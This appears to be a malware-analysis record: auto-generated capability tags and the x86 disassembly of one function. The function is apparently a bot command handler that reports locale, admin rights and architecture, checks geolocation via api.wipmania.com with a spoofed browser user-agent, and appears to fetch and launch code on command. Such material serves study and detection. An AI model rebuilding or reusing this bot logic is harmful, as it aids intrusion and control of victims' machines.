Function at 0x404330
Capabilities:
Create http request
Get geographical location
Read data from internet
Receive data
Reference http user-agent string
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x40830c]
mov dword [ebp - 4], eax
cmp dword [ebp + 0x14], 1
jge 0x404356
mov eax, 1
jmp 0x4047f9
push 0x409904
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x404393
call fcn.00403b00
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [ebp + 0x14], 2
jge 0x4043a8
mov eax, 1
jmp 0x4047f9
push 0x4098fc
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x4044e9
push 0x14
push 0
lea ecx, [ebp - 0x18]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x408310
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4 + 4]
push ecx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x40442c
push 0x14
push 0
lea edx, [ebp - 0x2c]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x14
lea eax, [ebp - 0x2c]
push eax
push 7
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea ecx, [ebp - 0x2c]
push ecx
push 0x408314
lea edx, [ebp - 0x18]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x408318
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + eax*4 + 4]
push edx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x404478
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x404466
push str.ADMIN
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
jmp 0x404478
push 0x408324
lea ecx, [ebp - 0x18]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
push 0x40832c
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4 + 4]
push ecx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x4044c6
call fcn.00403c50
movzx edx, al
test edx, edx
je 0x4044b4
push str.X64
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
jmp 0x4044c6
push str.X86
lea ecx, [ebp - 0x18]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
push 0
lea edx, [ebp - 0x18]
push edx
push 3
mov eax, dword [ebp + 8]
push eax
call fcn.00403f50
add esp, 0x10
mov eax, 1
jmp 0x4047f9
push 0x409900
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x40452e
push 0
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4 + 4]
push eax
push 3
mov ecx, dword [ebp + 8]
push ecx
call fcn.00403f50
add esp, 0x10
mov eax, 1
jmp 0x4047f9
cmp dword [ebp + 0x14], 3
jge 0x404543
mov eax, 1
jmp 0x4047f9
push 0x4098f8
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4]
push ecx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x4047c7
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4 + 8]
push ecx
call fcn.00403700
add esp, 4
test eax, eax
je 0x4047be
push 2
push 0x28
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4 + 8]
push ecx
lea edx, [ebp - 4]
push edx
call fcn.00403860
add esp, 0x10
mov dword [ebp - 0x30], 0
push 0x408340
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + eax*4 + 4]
push edx
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
jne 0x4046a4
push 0x408344
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + eax*4 + 4]
push edx
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
jne 0x4046a4
push 0xc8
push 0
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_6.1__WOW64__rv:22.0__Gecko_20100101_Firefox_22.0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
je 0x40469a
push 0
push 0
push 0
push 0
push str.http:__api.wipmania.com_
mov ecx, dword [ebp - 0x40]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
je 0x404690
lea edx, [ebp - 0x34]
push edx
push 0xc7
lea eax, [ebp - 0x108]
push eax
mov ecx, dword [ebp - 0x38]
push ecx
call dword [sym.imp.WININET.dll_InternetReadFile]
push 0x3e
lea edx, [ebp - 0x108]
push edx
call fcn.00404310
add esp, 8
add eax, 1
mov dword [ebp - 0x3c], eax
je 0x404690
mov eax, dword [ebp - 0x3c]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4 + 4]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x404690
mov dword [ebp - 0x30], 1
mov ecx, dword [ebp - 0x38]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [ebp - 0x40]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x4083b0
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + eax*4 + 4]
push edx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
je 0x4046e6
push 0x4083b4
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + eax*4 + 4]
push edx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
je 0x4046e6
cmp dword [ebp - 0x30], 1
jne 0x4047be
push 0x100
push 0
lea eax, [ebp - 0x208]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4 + 8]
push eax
push 0x4083b8
push 0xff
lea ecx, [ebp - 0x208]
push ecx
call sub.MSVCRT.dll__snprintf
add esp, 0x10
push 0x4083bc
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4 + 4]
push ecx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x404789
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4 + 8]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov dword [ebp - 0x214], eax
push 0x4083c0
mov edx, dword [ebp - 0x214]
push edx
call sub.MSVCRT.dll_strtok
add esp, 8
push str.b101
mov eax, dword [ebp - 0x214]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
je 0x404789
mov dword [ebp - 0x20c], 1
push 1
call fcn.00403dd0
add esp, 4
mov dword [ebp - 0x210], eax
push 0
lea ecx, [ebp - 0x210]
push ecx
push 0x401500
call fcn.00403e70
add esp, 0xc
mov edx, dword [ebp - 0x210]
imul edx, edx, 0xc
mov dword [edx + 0x409ac8], eax
mov eax, 1
jmp 0x4047f9
cmp dword [ebp + 0x14], 4
jge 0x4047d6
mov eax, 1
jmp 0x4047f9
cmp dword [ebp + 0x14], 5
jge 0x4047e5
mov eax, 1
jmp 0x4047f9
cmp dword [ebp + 0x14], 6
jge 0x4047f4
mov eax, 1
jmp 0x4047f9
mov eax, 1
mov esp, ebp
pop ebp
ret